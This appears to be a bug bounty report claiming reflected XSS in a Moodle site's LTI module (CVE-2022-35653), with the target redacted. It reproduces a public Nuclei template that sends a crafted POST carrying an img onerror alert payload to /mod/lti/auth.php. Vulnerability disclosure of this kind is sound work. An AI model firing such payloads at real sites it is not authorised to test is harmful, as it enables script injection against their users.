Reflected XSS via Moodle on ███ [CVE-2022-35653]

Hi Security Team I found an xss vulnerability on your website [CVE-2022-35653] Refrence : https://vulners.com/nuclei/NUCLEI:CVE-2022-35653 if you wanna test this : ``` id: CVE-2022-35653 info: name: Moodle LTI module Reflected - Cross-Site Scripting author: iamnoooob,pdresearch severity: medium description: | A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website to steal potentially sensitive information, change appearance of the web page, can perform phishing and drive-by-download attacks. reference: - http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-72299 - https://nvd.nist.gov/vuln/detail/CVE-2022-35653 - https://bugzilla.redhat.com/show_bug.cgi?id=2106277 - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6MOKYVRNFNAODP2XSMGJ5CRDUZCZKAR3/ - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MTKUSFPSYFINSQFSOHDQIDVE6FWBEU6V/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-35653 cwe-id: CWE-79 epss-score: 0.00815 epss-percentile: 0.79909 cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: moodle product: moodle shodan-query: title:"Moodle" tags: cve,cve2022,moodle,xss http: - raw: - | POST /mod/lti/auth.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded xxx"><img/src%3d'x'onerror%3dalert('document_domain')>=1 matchers-condition: and matchers: - type: word part: body words: - "<img/src='x'onerror=alert('document_domain')>" - "moodle-editor" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 ``` ## Impact If successful, a cross site scripting attack can severely impact websites and web applications, damage their reputation and relationships with customers. XXS can deface websites, can result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user's device. ## System Host(s) █████████ ## Affected Product(s) and Version(s) ## CVE Numbers ## Steps to Reproduce https://vulners.com/nuclei/NUCLEI:CVE-2022-35653 ## Suggested Mitigation/Remediation Actions